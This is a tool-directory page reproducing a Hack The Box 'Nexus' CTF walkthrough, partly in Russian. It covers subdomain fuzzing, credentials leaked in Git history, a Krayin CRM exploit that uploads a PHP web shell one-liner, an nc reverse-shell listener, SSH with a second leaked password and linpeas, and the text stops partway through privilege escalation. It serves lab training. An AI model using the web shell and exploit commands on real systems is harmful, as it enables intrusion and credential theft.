Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
HTB-Nexus-walkthrough — Write-up машины Nexus (HTB). Цепочка атак: утечка данных в Git history → Krayin CRM RCE (CVE-2026-38526) → повышение привилегий через Git internals и SUID binary. Подробный разбор векторов атак с иллюстрациями. | Kitploit
Tools/GitHubGitHub/wingleszy/htb-nexus-walkthrough
Privilege EscalationReconnaissanceVulnerability AnalysisWeb Application ExploitationPost-ExploitationCTFPenetration TestingSecret DetectionSubdomain Enumeration
Share
Learning & Education
GitHubwingleszy/htb-nexus-walkthrough

HTB-Nexus-walkthrough

Write-up машины Nexus (HTB). Цепочка атак: утечка данных в Git history → Krayin CRM RCE (CVE-2026-38526) → повышение привилегий через Git internals и SUID binary. Подробный разбор векторов атак с иллюстрациями.

View Repository
11 month agoNot yet reviewed

💻 Nexus - Hack The Box Writeup

📋 Machine Information

Name: Nexus

Difficulty: Easy

OS: Linux (Ubuntu)

Completion date: September 23, 2026

🔍 Reconnaissance

1. Connection and nmap

Connect to the VPN and start port scanning:

Openvpn <path to .ovpn config>

The message "Initialization Sequence Completed" should appear

Check open ports with nmap nmap -sC -sV -Pn 10.129.101.185

Only two ports are open:

22/tcp — OpenSSH 9.6p1 Ubuntu

80/tcp — nginx 1.24.0 (redirect to http://nexus.htb/)

Add the domain to /etc/hosts:

🔎 Enumeration

2. Website analysis

On the main page we see an energy company website. In the careers section (/careers) we find the manager's email: [email protected]

3. Subdomain discovery

Use ffuf to search for virtual hosts:

ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -mc 200

We find the subdomain: git.nexus.htb

We add it to hosts and navigate to the address. The Gitea service is deployed there

4. Data leak in Git

We examine the public repositories. In admin/krayin-docker-setup we find a commit with the .env file

In the file we discover:

  • DB password: N27xh!!2ucY04
  • New subdomain: billing.nexus.htb

We add billing.nexus.htb to hosts. Krayin CRM v2.2.0 is running on this subdomain

🚪 Initial Access

5. Logging into the CRM

We use the found data:

  • Username: [email protected]
  • Password: N27xh!!2ucY04

After successfully logging into the administration panel, we can notice the version Krayin 2.2.0

6. Exploiting the vulnerability

Via exploit-db we find an exploit for Krayin CRM (CVE-2026-38526)

We download the file with the exploit and check the data that needs to be passed to it

We create a PHP shell:

<?php system($_GET['cmd']); ?>

Launching the exploit:

python3 52629.py -t http://billing.nexus.htb -u '[email protected]' -p 'N27xh!!2ucY04' -f shell.php

7. Reverse Shell

Start the listener: nc -lvp 12345. Trigger the shell through the browser at the path returned by the exploit

We get a reverse shell in the terminal running nc:

8. Obtaining the Jones user

We read .env from inside the system and find the second password: DB_PASSWORD=y27xb3ha!!74GbR

Log in via SSH:

ssh [email protected]

Итого: находим первый user-флаг!

⬆️ Повышение привилегий (Privilege Escalation)

9. Повышение до Root (Git Internals)

Проверяем наличие wget:

Скачиваем файл linpeas.sh с официального репозитория на Github и открываем сервер для отправки файла на уязвимую машину:

Успешно получаем файл и запускаем linpeas.sh:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →